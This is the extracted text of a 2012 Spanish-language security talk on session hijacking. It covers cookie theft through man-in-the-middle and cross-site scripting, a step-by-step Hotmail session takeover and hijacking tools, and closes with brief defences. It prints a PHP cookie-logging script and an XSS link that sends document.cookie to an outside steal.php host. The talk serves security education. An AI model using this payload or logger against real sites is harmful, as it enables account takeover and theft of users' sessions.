Session Hijacking Session Hijacking: Secuestro y robo de aplicaciones web Parte II Abril, 2012 Omar Palomino omarc320@gmail.com opalomino@kunak.com.pe
Ing. Sistemas y Maestrista de Ing. de Computación y Sistemas, CEH, Security+, ITIL v3. Consultor en seguridad de información de KUNAK Consulting. Psicólogo que aun no comienza sus estudios. Escritor en mis tiempos libres:
AVISO Y CONSIDERACIONES LEGALES Las técnicas mostradas en la presentación tienen por objetivo CONOCER las técnicas utilizadas por los hackers para robar y secuestrar aplicaciones web. La presentación NO TIENE POR OBJETIVO enseñar técnicas para realizar ataques contra aplicaciones web que son penados según la legislación de los países. El autor no se hace responsable del mal uso de las técnicas mostradas en la presentación.
Funcionamiento 1 El usuario ha ingresado normalmente a una aplicación web comercial o corporativo, como: Hotmail Facebook Aplicaciones web particulares (corporativos) 2 Importante: El usuario (la víctima) no se entera que su sesión de aplicación web ha sido vulnerada. El atacante encuentra un mecanismo para averiguar el identificador de SESIÓN y realizar el secuestro de la sesión del usuario.
Funcionamiento: Cross Site Scripting 2 1. Un usuario normal ingresa a la App. Web y ejecuta el código Javascript. 2. El código Javascript envía el código de Sesión al servidor web externo. 1 Importante: Un usuario perspicaz puede darse cuenta de la inserción de código malicioso en la página web. 1. El usuario malicioso prepara un servidor web externo para almacenar las. 2. El usuarios malicioso coloca código JavaScript sobre la App. Web Vulnerable. 5
Funcionamiento: Cross Site Scripting <?php $session = $_GET["cookie"]; $date = date("l ds of F Y h:i:s A"); $user_agent = $_SERVER['HTTP_USER_AGENT']; $file = fopen('log.txt','a'); fwrite($file, "DATE: $date USER AGENT: $user_agent COOKIE: $session \n"); fclose($file); header("location: http://xxxxxxx/hijacking/listado.php");?> 1 Importante: Un usuario perspicaz puede darse cuenta de la inserción de código malicioso en la página web. <a href="#" onclick=document.location="http://192. 168.1.48/steal.php?cookie="+escape(doc ument.cookie);>ver aqui los detalles</a> 6
Por qué sucede esto? 1 Cuando el usuario ingresa a una página web: 1. Se crea una sesión aleatoria en el servidor web, esta sesión se almacena en una cookie o en una sesión. 2. Esta cookie viaja por la web cada vez que el cliente navega por la aplicación. La cookie contiene un identificador de sesión. Esto sucede porque: La transmisión de la sesión viaja en texto plano. Algoritmo débil de ID de sesión ( predecibles o muy pequeñas). Incorrecta configuración del bloqueo de. Sesiones que nunca expiran. 2 1. El atacante realiza un ataque para conseguir la sesión del usuario: Hombre en el medio (Man in the middle MiTM) Predecir el identificador de sesión (Predict Session) Cross site scripting (XSS) Otros de menos probabilidad 2. El atacante modifica la cookie e ingresa a la aplicación web con el contenido restringido de la víctima.
Vamos a la práctica Aplicación web PHP : 1. Capturamos la sesión mediante la técnica de hombre en el medio. 2. Identificamos la cookie y el número de sesión. 3. Modificamos la cookie mediante una herramienta: Advanced Cookie Manager. 4. Accedemos a la aplicación sin usuario ni contraseña. Aplicaciones web en internet (HOTMAIL): 1. Capturamos la sesión mediante la técnica de hombre en el medio. 2. Identificamos la cookie: RPSTAuth 3. Modificamos la cookie mediante una herramienta: Advanced Cookie Manager. 4. Accedemos a la aplicación sin usuario ni contraseña.
Cookies de aplicaciones web conocidas Cómo averiguo cuál es la COOKIE que me interesa? Entra a la aplicación web e identifica cookie por cookie cual es la importante. Google te lo puede decir (ya antes alguien se ha preguntado lo mismo).
Debemos automatizar el ataque. Hamster y Ferret Ferret: Herramienta para formatear el archivo PCAP producto del sniffing. Hamster: Proxy que muestra las cookies formateadas por Ferret. que funcionan en Windows y Linux. Firesheep Plugin de Mozilla Firefox Automatiza de manera muy rápida el robo de. A la fecha (2012) el plugin está descontinuado. Greasemonkey Plugin de Mozilla Firefox Permite ingresar la cookie capturada mediante MITM
Cómo evitamos el Envío de a través de un canal encriptado (HTTPS) Generar el identificador de sesión después de un login exitoso Evitar vulnerabilidades de aplicaciones web: XSS y correcta finalización de.
Session Hijacking Session Hijacking: Secuestro y robo de aplicaciones web Abril, 2012 Omar Palomino omarc320@gmail.com opalomino@kunak.com.pe